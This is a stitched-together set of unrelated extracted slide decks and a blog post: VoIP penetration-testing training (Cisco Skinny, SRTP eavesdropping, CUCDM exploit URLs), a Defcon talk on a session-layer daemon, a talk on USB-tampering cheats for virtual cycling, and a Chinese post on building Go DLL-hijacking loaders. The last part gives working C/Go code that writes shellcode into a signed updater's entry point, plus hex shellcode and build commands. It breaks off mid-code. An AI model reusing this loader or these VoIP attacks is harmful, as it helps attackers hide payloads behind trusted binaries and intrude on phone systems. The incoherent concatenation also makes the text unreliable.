Skinny Signalling www.senseofsecurity.com.au © Sense of Security 2015 Page 107 – 8 August 2015 Attacking Skinny services • Cisco Skinny (SCCP) • Binary, not plain text • Different versions • No authentication • MAC address is identity • Auto registration • Basic attacks • Register as a phone • Disconnect other phones • Call forwarding • Unauthorised calls Source: Cisco www.senseofsecurity.com.au © Sense of Security 2015 Page 108 – 8 August 2015 Attacking Skinny services www.senseofsecurity.com.au © Sense of Security 2015 Page 109 – 8 August 2015 Attacking Skinny services • Viproy has a Skinny library for easier development and sample attack modules • Skinny auto registration • Skinny register • Skinny call • Skinny call forwarding www.senseofsecurity.com.au © Sense of Security 2015 Page 110 – 8 August 2015 Attacking Skinny services Register Unauthorised Call www.senseofsecurity.com.au © Sense of Security 2015 Page 111 – 8 August 2015 Preparing a proper client for Skinny • Install Cisco IP Communicator • Set “Use this Device Name” for Spoofed MAC • Register the software www.senseofsecurity.com.au © Sense of Security 2015 Page 112 – 8 August 2015 Demonstration of Skinny attacks www.senseofsecurity.com.au © Sense of Security 2015 Page 113 – 8 August 2015 Exercises • Cisco Skinny register tests • Cisco Skinny call tests • Cisco Skinny call forwarding www.senseofsecurity.com.au © Sense of Security 2015 Page 114 – 8 August 2015 Solutions • Implement the secure deployment of Cisco • Digital certificate based authentication • Signature for updates and configuration files • Encrypt the configuration files • Don’t allow concurrent connections • Install the IP phone and software updates www.senseofsecurity.com.au © Sense of Security 2015 Page 115 – 8 August 2015 Media Transport Security www.senseofsecurity.com.au © Sense of Security 2015 Page 116 – 8 August 2015 Media Transport Essentials • Media transport is essential for the VoIP communications (audio and video) . • RTP is the major protocol in use for decades. • Real-time Transfer Protocol (RTP) • Highly vulnerable to MITM attacks • Encryption is not enabled on many implementations • It can be recorded and decoded easily • Codecs may change based on the implementation • DTMF tones are coded separately as RTP events • RTP Control Protocol (RTCP) may be in use for monitoring and QoS www.senseofsecurity.com.au © Sense of Security 2015 Page 117 – 8 August 2015 Plan & Goals Plan • Performing the MITM attacks • Obtaining unauthorised access to the media transport • Decoding the RTP stream to extract the raw audio/video of the conversation Goals • Eavesdropping • Injection audio or video to the conversations www.senseofsecurity.com.au © Sense of Security 2015 Page 118 – 8 August 2015 Media Transport Flow SIP Server 1- REGISTER 1- 200 OK 2- INVITE 3- INVITE 3- 183 Trying 3- 200 OK 4- ACK RTP Proxy RTP Phone A Phone B RTP 4- 200 OK RTP RTP Proxy RTP www.senseofsecurity.com.au © Sense of Security 2015 Page 119 – 8 August 2015 Audio Streams in RTP Find reverse will find both RTP streams (sender / receiver). Analyse can analyse the spectrum, Save as can save the streams. www.senseofsecurity.com.au © Sense of Security 2015 Page 120 – 8 August 2015 DTMF Tones in RTP DTMF tones are encoded through the RTP events. www.senseofsecurity.com.au © Sense of Security 2015 Page 121 – 8 August 2015 Media Transport Security • Secure Real-time Transfer Protocol (SRTP) • Encryption • Message Authentication • Integrity • Replay Protection • Key Management for SRTP • SDES (SIP without TLS) is still vulnerable • ZRTP / ZRTP/S provide Diffie–Hellman handshakes • MIKEY provides Public Key Encryption www.senseofsecurity.com.au © Sense of Security 2015 Page 122 – 8 August 2015 Advanced or basic SRTP/RTP attacks can be used for eavesdropping • ARP attacks, • DHCP attacks • Proxy attacks • RTP information in the SIP request can be overwritten • Master key can be extracted from the SDP content in SIP requests Network MITM Attacks for RTP www.senseofsecurity.com.au © Sense of Security 2015 Page 123 – 8 August 2015 Decoding SRTP Hacking VoIP – Decrypting SDES Protected SRTP Phone Calls https://www.acritelli.com/hacking-voip-decrypting-sdes- protected-srtp-phone-calls • Obtain a complete call, including SIP exchange and RTP data, between two endpoints • Grab the key and filter out a single SRTP stream in Wireshark • Use srtp-decrypt (https://github.com/gteissier/srtp- decrypt) to decrypt the SRTP • Replay the decrypted RTP data in Wireshark www.senseofsecurity.com.au © Sense of Security 2015 Page 124 – 8 August 2015 Eavesdropping Wireshark can decode and play RTP streams • Different codecs and two Streams www.senseofsecurity.com.au © Sense of Security 2015 Page 125 – 8 August 2015 Eavesdropping • Cain & Abel • UCSniff • Call recording using Ucsniff www.senseofsecurity.com.au © Sense of Security 2015 Page 126 – 8 August 2015 Demonstration of SDES decryption www.senseofsecurity.com.au © Sense of Security 2015 Page 127 – 8 August 2015 Solutions • RTP proxies should be in use to • Isolate the clients • Cover the various client types (PSTN, SIP, 3G/4G) • Avoid the client to client direct communication • SRTP should be implemented • Enforce the strong encryption • Don’t use key management through insecure channels such as SIP without TLS • ZRTP or MIKEY (depending on the implementation) www.senseofsecurity.com.au © Sense of Security 2015 Page 128 – 8 August 2015 Cloud VoIP Solutions Security www.senseofsecurity.com.au © Sense of Security 2015 Page 129 – 8 August 2015 Cloud VoIP solutions www.senseofsecurity.com.au © Sense of Security 2015 Page 130 – 8 August 2015 Cloud VoIP environment • Vendors are Cisco and VOSS Solutions • Web based management services • IP Phone services (CUCDM [VOSS] IP Phone Services) • Tenant client services(CUCDM [VOSS] Selfcare) • Tenant* services (CUCDM [VOSS] Domain Manager) • VoIP services • Skinny (SCCP) services for Cisco phones • SIP services for other tenant phones • RTP services for media streaming • PBX/ISDN gateways, network equipment * Tenant => Customer of hosted VoIP service www.senseofsecurity.com.au © Sense of Security 2015 Page 131 – 8 August 2015 Plan & Goals Plan • Discovering the cloud services as tenant • Attacking to the dedicated tenant services • Attacking to the shared services for tenants • Jailbreaking the cloud tenant isolation Goals • Call and toll fraud • Compromising all tenants in the cloud • Eavesdropping www.senseofsecurity.com.au © Sense of Security 2015 Page 132 – 8 August 2015 Discovery for hosted VoIP networks • Discover VoIP network configuration, design and requirements • Find Voice VLAN and gain access • Gain access using PC port on IP Phone • Understand the switching security for: • Main vendor for VoIP infrastructure • Network authentication requirements • VLAN ID and requirements • IP Phone management services • Supportive services in use www.senseofsecurity.com.au © Sense of Security 2015 Page 133 – 8 August 2015 Cisco Hosted Collaboration Suite • Cisco UC Domain Manager • VOSS IP Phone XML services • VOSS Self Care customer portal • VOSS Tenant services management • Cisco UC Manager • Cisco Unified Dialled Number Analyser • Cisco Unified Reporting • Cisco Unified CM CDR Analysis and Reporting Multiple Vulnerabilities in Cisco Unified Communications Domain Manager http://tools.cisco.com/security/center/content/CiscoSecuri tyAdvisory/cisco-sa-20140702-cucdm www.senseofsecurity.com.au © Sense of Security 2015 Page 134 – 8 August 2015 Cisco CUCDM Self Care • Tenant user services • Password & PIN management • Voicemail configuration • Presence • Corporate Directory access • Extension mobility Weaknesses • Cross-site scripting vulnerabilities www.senseofsecurity.com.au © Sense of Security 2015 Page 135 – 8 August 2015 Account details stored XSS www.senseofsecurity.com.au © Sense of Security 2015 Page 136 – 8 August 2015 Cisco CUCDM Service Management • Tenant administration services • User management • Location and dial plan management • CLI and number translation configuration Weaknesses • User enumeration • Privilege escalation vulnerabilities • Cross-site scripting vulnerabilities • SQL injections and SOAP manipulations www.senseofsecurity.com.au © Sense of Security 2015 Page 137 – 8 August 2015 Errors, Information Leakage • /emapp/EMAppServlet?device=USER • /bvsm/iptusermgt/disassociateuser.cgi www.senseofsecurity.com.au © Sense of Security 2015 Page 138 – 8 August 2015 Insecure File Upload • /bvsm/iptbulkadmin • /bvsm/iptbulkloadmgt/bulkloaduploadform.cgi www.senseofsecurity.com.au © Sense of Security 2015 Page 139 – 8 August 2015 Privilege Escalation /bvsm/iptusermgt/moduser.cgi (stored XSS, change users’ role) /bvsm/iptadminusermgt/adduserform.cgi?user_type=adminuser /bvsm/iptnumtransmgt/editnumbertranslationform.cgi?id=1 www.senseofsecurity.com.au © Sense of Security 2015 Page 140 – 8 August 2015 IP Phone management • VOSS IP Phone XML services • Shared service for all tenants • Call forwarding (Skinny has, SIP has not) • Speed dial management • Voicemail PIN management http://1.2.3.4/bvsmweb/SRV.cgi?device=ID&cfoption=ACT Services • speeddials • changepinform • showcallfwd • callfwdmenu Actions • CallForwardAll • CallForwardBusy www.senseofsecurity.com.au © Sense of Security 2015 Page 141 – 8 August 2015 IP Phone management • Authentication and Authorisation free! • MAC address is sufficient • Jailbreaking tenant services • Viproy Modules • Call Forwarding • Speed Dial www.senseofsecurity.com.au © Sense of Security 2015 Page 142 – 8 August 2015 Demonstration of CUCDM exploitation viproy.com 142 www.senseofsecurity.com.au © Sense of Security 2015 Page 143 – 8 August 2015 Solutions • Conduct audit from tenant and owner perspective • Privacy of tenants vs Toll fraud • Isolate the tenants for all services • No shared services if possible • Shared services should be tested for jailbreaking • Security updates the cloud environment • Enforce the strong encryption and authentication for tenant phones and services • Manage the backward compatibility www.senseofsecurity.com.au © Sense of Security 2015 Page 144 – 8 August 2015 VoIP Client Security www.senseofsecurity.com.au © Sense of Security 2015 Page 145 – 8 August 2015 VoIP Client Security • Softphones vs Handsets vs Teleconferencing • Information Disclosure • Unnecessary services and ports (SNMP, echo) • Weak management services (telnet, SSH, HTTP) • Stored credentials and sensitive information • Unauthorised Access • Password attacks • Compromising software using TFTP server • Configuration files, upgrade files, firmware • Weak VoIP Services • They may accept direct invite, register or notify www.senseofsecurity.com.au © Sense of Security 2015 Page 146 – 8 August 2015 Plan & Goals Plan • Analysing the VoIP clients which use the commercial services • Finding the published and unpublished bugs on the clients • Trying to exploit those bugs from remote Goals • Mass compromise of clients • Injecting a persistent backdoor to the clients www.senseofsecurity.com.au © Sense of Security 2015 Page 147 – 8 August 2015 Attacking a client using SIP service • Caller ID spoofed messages • to install a malicious application or an SSL certificate • to redirect voicemails or calls • Fake caller ID for Scam, Vishing or Spying • Manipulate the content or content-type on messaging • Trigger a crash/BoF on the remote client • Inject cross-site scripting to the conversation • Proxies with TCP/TLS interception and manipulation • Viproy MITM though UDP/TCP modules • Socat • Viproxy (github.com/fozavci/viproxy) • MITMproxy www.senseofsecurity.com.au © Sense of Security 2015 Page 148 – 8 August 2015 Rogue Services and MITM • We Need a Rogue Service • Adding a feature to a regular SIP client • Collecting credentials • Redirecting calls • Manipulating CDR or billing features • Fuzzing servers and clients for vulnerabilities • Rogue Service Should be Semi-Automated • Communication sequence should be defined • Sending bogus request/result to client/server www.senseofsecurity.com.au © Sense of Security 2015 Page 149 – 8 August 2015 Rogue Services and MITM • Use ARP/DNS Spoof & VLAN hopping & Manual config • Collect credentials, hashes, information • Change client's request to add a feature (eg. Spoofing) • Change the SDP features to redirect calls • Add a proxy header to bypass billing & CDR • Manipulate request at runtime to find BoF vulnerabilities • Trigger software upgrades for malwared executables Death Star in the Middle www.senseofsecurity.com.au © Sense of Security 2015 Page 150 – 8 August 2015 Attacking a client using SIP trust • SIP server redirects a few fields to client • FROM, FROM NAME, Contact • Other fields depend on server (e.g. SDP, MIME) • Message content • Clients have buffer overflow in FROM? • Send 2000 chars to test it ! • Crash it or execute your shellcode if available • Clients trust SIP servers and trust is UDP based • Trust hacking module can be used for the trust between server and client too. • Viproy Penetration Testing Kit SIP Modules • Simple fuzz support (FROM=FUZZ 2000) • You can modify it for further attacks www.senseofsecurity.com.au © Sense of Security 2015 Page 151 – 8 August 2015 Attacking a client using SIP trust 192.168.1.146 Melbourne 192.168.1.202 Brisbane 192.168.1.145 - Sydney Production SIP Service UDP Trust Universal Trust Tatooine Crash! Adore iPhone App Send INVITE/MESSAGE requests with • IP spoofing (source is Brisbane), • from field contains exploit, the client will be your stormtrooper. www.senseofsecurity.com.au © Sense of Security 2015 Page 152 – 8 August 2015 Exercises • Direct Invite requests • Sending bogus SMSes to trigger a crash • Sending bogus calls to trigger a crash • MITM interception and header adding • Memory corruption through MITM proxy www.senseofsecurity.com.au © Sense of Security 2015 Page 153 – 8 August 2015 Solutions • Update the client software and handsets • Secure communication must be enforced • Strong authentication • Strong encryption • Prevent the information disclosure • Do not use the client data as trusted • Input validation must be in place • Use the authenticated Identity, not client’s one • Configure clients to reject calls not coming from the server registered www.senseofsecurity.com.au © Sense of Security 2015 Page 154 – 8 August 2015 References www.senseofsecurity.com.au © Sense of Security 2015 Page 155 – 8 August 2015 Resources for Viproy • Viproy VoIP Penetration and Exploitation Kit Author : http://viproy.com/fozavci Homepage : http://viproy.com Github: http://www.github.com/fozavci/viproy-voipkit • Attacking SIP Servers Using Viproy VoIP Kit https://www.youtube.com/watch?v=AbXh_L0-Y5A • VoIP Pen-Test Environment – VulnVoIP http://www.rebootuser.com/?cat=371 www.senseofsecurity.com.au © Sense of Security 2015 Page 156 – 8 August 2015 Other Tools • Network Analysis Tools • Yersinia, Cain&Abel, Wireshark, Dsniff, VoIPHopper • Service Analysis Tools • Nmap, Metasploit Framework • SIP Analysis Tools • Viproy, Sipvicious, Bluebox-NG, Metasploit • Proxy Attacks • Viproy MITM, Em-proxy, SIP Rogue, RTP Redirect • Free VoIP Clients • Jitsi, Boghe, Linphone, X-Lite, Micro SIP, Vi-Vo www.senseofsecurity.com.au © Sense of Security 2015 Page 157 – 8 August 2015 Solutions for Cisco Networks • Install the Cisco security patches • From CVE-2014-3277 to CVE-2014-3283, CVE-2014- 2197, CVE-2014-3300 • CSCum75078, CSCun17309, CSCum77041, CSCuo51517, CSCum76930, CSCun49862 • Secure network design • IP phone services MUST be DEDICATED, not SHARED • Secure deployment with PKI • Authentication with X.509, software signatures • Secure SSL configuration • Secure protocols • Skinny authentication, SIP authentication • HTTP instead of TFTP, SSH instead of Telnet www.senseofsecurity.com.au © Sense of Security 2015 Page 158 – 8 August 2015 Questions? www.senseofsecurity.com.au © Sense of Security 2015 Page 159 – 8 August 2015 Fatih Ozavci Principal Security Consultant [email protected] Chris Archimandritis Senior Security Consultant [email protected] Enquiries www.senseofsecurity.com.au © Sense of Security 2015 Page 160 – 8 August 2015 Thank you Recognised as Australia’s fastest growing information security and risk management consulting firm through the Deloitte Technology Fast 50 & BRW Fast 100 programs Head office is level 8, 66 King Street, Sydney, NSW 2000, Australia. Owner of trademark and all copyright is Sense of Security Pty Ltd. Neither text or images can be reproduced without written permission. T: 1300 922 923 T: +61 (0) 2 9290 4444 F: +61 (0) 2 9290 4455 [email protected] www.senseofsecurity.com.au
pdf
Building a Real Session Layer These slides are unfortunately, of little use. Please see updated materials at fived.capelis.dj. Please allow me to introduce myself I'm me. There. Introduction Done! Let's start at the beginning (Everyone knows this part... but just let me quickly go through it.) What's a Session Layer? ISO 7 Layer Model (Designed by committee) 1 – Physical Layer (e.g. Cat 6, Fiber, Air) 2 – Data Link Layer (e.g. Ethernet, 802.11[abgns...], FDDI) 3 – Network Layer (Most commonly IP) 4 – Transport Layer (e.g. TCP, UDP and a bunch of others) 5 – Session Layer (Mostly unused) 6 – Presentation Layer (Even more unused) 7 – Application Layer (Everything) So where's the application layer? It kinda went everywhere.... (ewww... TWSS?) Encryption: SSL, SSH, IPSec (?) Authentication: Network services shouldn't have to ask. See also: I want to use my SSH keys for  everything and there's no good reason I shouldn't  be able to! Tons of service specific stuff that got pushed into  the application layer Generally each application is reimplementing  some idea of a session independently. More Code. More Code.  More Buggy Code. So let's get rid of that while we're here. Why do application multiplexing in layer 4? I dunno. Yoink Layer five'd Speaking of which... That's what we're calling this software. fived Short for: Layer Five Daemon Here's what we're going to put into fived: Application Multiplexing Authentication Encryption Things that go away: Port Numbers Port Knocking Host Based Firewalls Authentication (Sometimes) ... Really? Yes... really. No port numbers Please do one of the following If you're not with me on this... shout an expletive If you're with me on this... loudly proclaim: “Hmm... interesting” Best thing about Defcon: Having hundreds of people swear at you. Moving on! So let's take this slowly, in the order of most  surprising to least No port numbers Precedence! Portmapper Do the same thing DNS did for IP addresses with  port numbers (What about SRV records?) (Well... are you using them?) (Likely answer: no) Why not? a) not every machine runs it's own DNS server b) sysadmin doesn't always control DNS c) a few other things So what are we doing instead? RFC 1078 Little known protocol called TCPMUX Hey small bit of trivia! Run this command on a unix box: grep tcpmux /etc/services Huh... it's got a reserved port number: tcpmux          1/tcp tcpmux          1/udp I guess... I'll just have to go with that one then. (Maybe that was half the inspiration for this  project) Wait... wait a second! What about... inetd, xinetd and launchd Well... sure. But watch this: Demos, Demos, Demos. Questions? Accusations? http://fived.capelis.dj For those of you on the conference CD... These slides are totally terrible. Please download a newer version from the  website.  (Defcon or mine.)
pdf
Cheating in eSports How to cheat at virtual cycling using USB hacks Brad Dixon, Carve Systems Photo by Markus Spiske on Unsplash Sweaty eSports EGVsOG CVRWorldCup Virtual Cycling is Part of Cycling Cycling: Over 100 Years of Cheating Innovation 1903, 1904: Hippolyte Aucouturier 1904: Maurice Garin 1947: Jean Robic Will people cheat at virtual cycling, too? "This is a sport with literally hundreds of dollars on the line, and dozens of fans...the stakes are medium!" Marty Hass -- Tour de Pharmacy, 2017, HBO No… Marty Hass is not a real person. Don’t you recognize Jeff Goldblum? It is a silly mockumentary. Have a laugh. Bike Radar: Best Cycling Smart Trainers - 10-Way Mega-Test Virtual Cycling: How does this work? • Just like any MMPOG plus • Sensors to measure real world performance • App-controlled resistance Speed Estimation • Course terrain model • Power • Rider mass • Drafting model? The Easy Way to Cheat at Virtual Cycling • Lighter riders go faster • Shorter riders draft better …there are limits! given the same power… 0 5 10 15 20 25 ZWIFT e-Racing Performance Limits (men, watts/kg) 20 min 5 min 1 min 5 sec Vulnerable Sensor Network HRM Cadence Power ANT+ USB Stick ANT+ RF @ 2457 Mhz GFSK Optional AES Cheat the Hard Way with USBQ HRM Cadence Power ANT+ USB Stick USB Host Zwift App Zwift API ANT+ RF @ 2457 Mhz GFSK Optional AES USB USBQ Hack’in USB ain’t new • Facedancer: excellent! • Travis Goodspeed (@travisgoodspeed) • Sergey Bratus (@sergeybratus) • Kate Temkin (@ktemkin) • Dominic Spill (@dominicgs) • Michael Ossmann (@michaelossmann) • Hardware Village USB Links: Andrey Konovalov • USB Reverse Engineering: Down the Rabbit Hole: Grant “devalias” Glenn Just want to observe USB? • Requires Linux and the usbmon module. • Capture with tcpdump –i usbmon0 … • Wireshark is great! usbip + Wireshark tcpdump + Wireshark • Linux usbip module can export USB devices over TCP. • Capture TCP, observe in Wireshark. Stuff Brad Knows • Emulate USB host or device functions at the lowest level. • Behave badly and deviate from the expectations of USB drivers. • Use GoodFET-based board and Facedancer! USB Device Drivers and Kernel Code JAN 2019 EDITION USBiquitous by Benoît Camredon • USB 2.0 MITM using loadable kernel module • Beaglebone Black • Python 2 userspace • usbq_core • usbq_userland plugin plugin plugin plugin plugin USBQ Architecture ANT+ USB Stick USB Host USBQ USB Proxy Device • Uses USBiquitous kernel module (now GPLv2). • New userspace Python application for inspecting and mangling USB data. UDP Stuff Brad Knows • Emulate USB host or device functions at the lowest level. • Behave badly and deviate from the expectations of USB drivers. • Consider: GreatFET One and Facedancer! Applications Using USB Peripherals USB Device Drivers and Kernel Code • Inspect and mangle application-specific payloads transported across a USB bus. • Use commodity hardware for USB hacking. • Consider: USBQ USBQ + Hardware AUG 2019 EDITION USBQ Do Device USB Packet Do Host USB Packet Tick DO Host/Device Packet 1. Wait for a packet 2. Get the packet 3. Decode the packet 4. Log the packet 5. Modify the packet 6. Encode the packet 7. Send the packet out USBQ Main Loop USBQ Plugins – Built with Pluggy • Defined extension points for plugins to use. • Plugins can stack and modify the results of plugins lower- down the stack. LIFO-call order. • Plugins can be distributed as independent Python packages. included: • Get and Send USB packets using the proxy kernel module • Decode/Encode packets to a more useful representation • Implement convenience features for development plugin plugin plugin plugin plugin USBQ Get Hack’in • Inspect PCAP • Modify plugins on-the-fly • IPython console What is next for USBQ? • Release: Visit usbq.org • Need help with / working on: • USBIP support: Native Linux kernel system for remote USB • Device emulation with Function FS • Replace USBiquitous kernel module? Need Linux kernel USBIP + Multipoint USB Highspeed Dual-Role Controller (MUSB) • GreatFET One: Looks awesome… need to fiddle with it! • More plugins and tools Photo by Simon Connellan on Unsplash L A N C E E eSports Leet Automatic Network Cheating Enhancement EPO Mode Sustain performance with less effort and more guilt! •Boost your power with a multiplier •Make the world flat Tour de Pharmacy Slacker Mode Why even risk sweating a little? •Automatic pedal POWER •Cruise control with random jitter •Terrain-sensitive heart rate and cadence data generation ELANCE Plugins for USBQ • Decode ANT+ USB Payload. • Decode three different ANT+ Payload types: fitness, HRM, and cadence. USBQ Host, Device, or Management USB Host or Device ANT+ ANT+ Profile Pages USBQ Cheat the Hard Way with USBQ HRM Cadence Power ANT+ USB Stick USB Host Zwift App Zwift API ANT+ RF @ 2457 Mhz GFSK Optional AES • Modify power • Modify heart rate • Modify cadence • Set grade to “flat” Photo by Simon Connellan on Unsplash Could it work? 1.Workouts 2.Online racing 3.Live event racing Workouts • Yeah, go ahead and cheat yourself. • You’ll need to use sensible limits. Online Racing* • Plausible to stretch a mediocre rider into a competitor. • Use multiple accounts to establish the actual performance limits for verification. • Build an IRL riding record and a public Strava profile. • Verification cheats: • 2nd power monitor / IRL power monitor • Either real height + weight or fake videos • Bribe / dodge / fake 3rd party verification lab * Never actually tried to cheat in an online race nor applied the techniques listed above. Live Event Racing* • This is harder but live events are rare. • High-stakes events use equipment provided by race. • Probably can’t fake weigh-in. • Infiltrate a NSA COTTONMOUTH-I style hacked cable? • Working on some other techniques, too. CVRWorldCup * Never tried this, either. There is no way anyone would believe I’m an elite cyclist. Not even for a second. Wrap up 1. Overall system not designed for high-integrity competition. 2. Insecure sensor networks and untrusted hardware are not a good foundation for security. 3. Electronics and software are part of cycling. New domains for cheaters to exploit. Photo by Troy Oldham on Unsplash Winners never cheat. Cheaters never win. Hackers sometimes cheat for fun. edope.bike
pdf
用Golang编写 dll劫持的一些坑 (2) 源于知识星球的一个想法,利用一些已知的dll劫持的程序作为"模板",自动生成白加黑的程序。 我想用Golang编写劫持的dll,这样也方便可以做成在线平台。 当然dll加载模式不同劫持的方式也不同。 我找到是vscode它的更新程序,也有它官方的签名 看 inno_updater.exe 的导入表,我只用实现它的5个函数就可以了。 因为我想做成通用型的,对于这种输入表导入的dll做劫持,只需要在 DllMain 中获取主程序的入口点, 然后将shellcode写入入口点,之后主程序运行就会执行我们的shellcode了。 C代码如下 测试过是能够正常使用的。 但是把它转成Go的过程中,踩了不少坑。 C代码转换为Go 读取PE入口点用来写shellcode,用Windows API GetModuleHandle 可以得到PE进程的内存地址,根 据内存地址加减偏移就可以得到入口点。 我原本使用了 github.com/Binject/debug/pe 库,它里面有一个 pe.NewFileFromMemory() 函数,可 以直接从内存中读取,但是它的参数是需要一个 io 类型,文件的io自身有很多api,但是对内存的io, 资料好少。 最后找了很多资料,发现只能自己实现io的接口 但问题来了, ReadAt 接口要求我们自己读完了就返回 io.EOF ,我是从内存空间读的,我不知道什么时 候读完。 就这么纠结了好久,虽然现在写的时候想到了,我可以实现这个 ReadAt ,长度我可以生成模板的时候 硬写进去,但又感觉没必要,因为我根据PE的偏移写好了。 int WINAPI DllMain(HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH:            hello_func(); break; case DLL_PROCESS_DETACH: break; } return TRUE; } void hello_func(){    DWORD baseAddress = (DWORD)GetModuleHandleA(NULL);    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;    PIMAGE_NT_HEADERS32 ntHeader = (PIMAGE_NT_HEADERS32)(baseAddress + dosHeader->e_lfanew);    DWORD entryPoint = (DWORD)baseAddress + ntHeader- >OptionalHeader.AddressOfEntryPoint;    DWORD old;    VirtualProtect(entryPoint, size, 0x40, &old);    for(int i=0;i<size;i++){        *((PBYTE)entryPoint+i) = shellcode[i];   }    VirtualProtect(entryPoint, size, old, &old); } type ReaderAt interface { ReadAt(p []byte, off int64) (n int, err error) } 直接就不用它的库了,手动根据偏移去寻找入口点。 Go实现DllMain DllMain是dll在创建或退出时的消息函数,要把shellcode写入PE的入口点,就必须在这里执行代码。但 是Go里面没有这样相关的定义,搜索资料,有人说用 init() 函数可以,我试了下, init() 函数执行 是在代码运行的时候加载的,也就是pe运行了,执行到了相关导出函数的时候,会先执行 init() 代 码,但是这个时候写shellcode到PE头部就已经没用了。 最后发现了怎么做,就是混编C和Go,而且比较麻烦。 var ( kernel32           = syscall.NewLazyDLL("kernel32.dll") getModuleHandle    = kernel32.NewProc("GetModuleHandleW") procVirtualProtect = kernel32.NewProc("VirtualProtect") ) func GetModuleHandle() (handle uintptr) { ret, _, _ := getModuleHandle.Call(0) handle = ret return } // 将shellcode写入程序ep func loader_from_ep(shellcode []byte) { baseAddress := GetModuleHandle() fmt.Println(strconv.FormatInt(int64(baseAddress), 16)) // pe读dos header ptr := unsafe.Pointer(baseAddress + uintptr(0x3c)) v := (*uint32)(ptr) ntHeaderOffset := *v //ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(0x4)) //v2 := (*uint16)(ptr)    // 这个可以读取PE的架构信息,最后发现入口点的偏移都是固定的 // x32和x64通用 ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40)) ep := (*uint32)(ptr) fmt.Println(ep, *ep) var entryPoint uintptr entryPoint = baseAddress + uintptr(*ep) var oldfperms uint32 if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } WriteMemory(shellcode, entryPoint) if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } } dllmain.go dllmain.h main.go package main //#include "dllmain.h" import "C" #include <windows.h> extern void test(); BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        MessageBox(0,0,0,0);        CreateThread(NULL, 0, test, NULL, 0, NULL);        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup.        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break;   }    return TRUE; // Successful. } package main import "C" import ( "encoding/hex" "fmt" "strconv" "syscall" "unsafe" ) const ( MEM_COMMIT     = 0x00001000 MEM_RESERVE    = 0x00002000 MEM_RELEASE    = 0x8000 PAGE_READWRITE = 0x04 ) var ( kernel32           = syscall.NewLazyDLL("kernel32.dll") getModuleHandle    = kernel32.NewProc("GetModuleHandleW") procVirtualProtect = kernel32.NewProc("VirtualProtect") ) //WriteMemory writes the provided memory to the specified memory address. Does **not** check permissions, may cause panic if memory is not writable etc. func WriteMemory(inbuf []byte, destination uintptr) { for index := uint32(0); index < uint32(len(inbuf)); index++ { writePtr := unsafe.Pointer(destination + uintptr(index)) v := (*byte)(writePtr) *v = inbuf[index] } } func GetModuleHandle() (handle uintptr) { ret, _, _ := getModuleHandle.Call(0) handle = ret return } func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool { ret, _, _ := procVirtualProtect.Call( uintptr(lpAddress), uintptr(dwSize), uintptr(flNewProtect), uintptr(lpflOldProtect)) return ret > 0 } // 将shellcode写入程序ep func loader_from_ep(shellcode []byte) { baseAddress := GetModuleHandle() ptr := unsafe.Pointer(baseAddress + uintptr(0x3c)) v := (*uint32)(ptr) ntHeaderOffset := *v ptr = unsafe.Pointer(baseAddress + uintptr(ntHeaderOffset) + uintptr(40)) ep := (*uint32)(ptr) var entryPoint uintptr entryPoint = baseAddress + uintptr(*ep) var oldfperms uint32 if !VirtualProtect(unsafe.Pointer(entryPoint), unsafe.Sizeof(uintptr(len(shellcode))), uint32(0x40), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } WriteMemory(shellcode, entryPoint) if !VirtualProtect(unsafe.Pointer(entryPoint), uintptr(len(shellcode)), uint32(oldfperms), unsafe.Pointer(&oldfperms)) { panic("Call to VirtualProtect failed!") } } //export _except_handler4_common func _except_handler4_common() {} 编译脚本 (Windows上) 坑点 dllmain.h的DllMain //export memcmp func memcmp() {} //export memcpy func memcpy() {} //export memset func memset() {} //export memmove func memmove() {} //export test func test() { shellcode, err := hex.DecodeString("fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac 3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a 498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01 d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87 ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c6300") // calc的shellcode if err != nil { panic(err) } loader_from_ep(shellcode) } func main() { } set GOOS=windows set GOARCH=386 set CGO_ENABLED=1 go build -ldflags "-s -w" -o vcruntime140.dll -buildmode=c-shared BOOL WINAPI DllMain(    HINSTANCE _hinstDLL,  // handle to DLL module    DWORD _fdwReason,     // reason for calling function    LPVOID _lpReserved)   // reserved {    switch (_fdwReason) {    case DLL_PROCESS_ATTACH:        CreateThread(NULL, 0, test, NULL, 0, NULL); // 必须使用线程        break;    case DLL_PROCESS_DETACH:        // Perform any necessary cleanup.        break;    case DLL_THREAD_DETACH:        // Do thread-specific cleanup. 在DllMain DLL_PROCESS_ATTACH的时候,我想调用go里面的 test 函数,我必须使用线程。。如果直 接调用,不使用线程的话,它会一直卡住,用od调试,发现它卡在了死锁上。。 用了CreateThread,它会把入口点写入shellcode,但是这个时候它是先执行了入口,再写入的 shellcode,虽然函数运行成功,但是没有意义了。 这就是我遇到的坑点。。 虽然可以用C写,Go调用,但这样我用Go的意义就不在了呀。。 改写EP 直接把ep写个死循环,然后调用Go的代码,不就绕过了这个限制。 死循环的代码就随便发挥了 dllmain.h        break;    case DLL_THREAD_ATTACH: // Do thread-specific initialization.        break;   }    return TRUE; // Successful. } 77C71B73   50             push eax 77C71B74   58             pop eax 